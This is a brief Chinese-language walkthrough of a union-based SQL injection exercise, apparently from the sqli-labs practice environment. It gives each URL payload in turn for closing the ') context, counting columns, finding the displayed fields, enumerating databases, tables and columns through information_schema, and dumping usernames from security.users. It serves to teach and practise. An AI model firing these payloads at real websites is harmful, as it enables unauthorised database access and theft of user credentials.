1.判断是字符型还是数字型
?id=1

?id=2-1

由于显示的数据不同,可知不是数字型
?id=1'

发现报错中有),考虑将括号闭合,并将多余括号通过–+注释掉
?id=1') –+

发现成功登录
2.判断查询了几位数据
?id=1') order by 4 –+

?id=1') order by 3 –+

3.判断显示位
?id=-1') union select 111,222,333 –+

4.查询所有数据库
?id=-1') union select 111,222,group_concat(schema_name) from information_schema.schemata –+

5.查看当前使用的数据库
?id=-1') union select 111,222,database() –+

6.查看那当前数据库所包含的表名
?id=-1') union select 111,222,group_concat(table_name) from information_schema.tables where table_schema=database() –+

7.查看users表的所有字段名
?id=-1') union select 111,222,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' –+

8.查看users表的username字段
?id=-1') union select 111,222,username from security.users –+





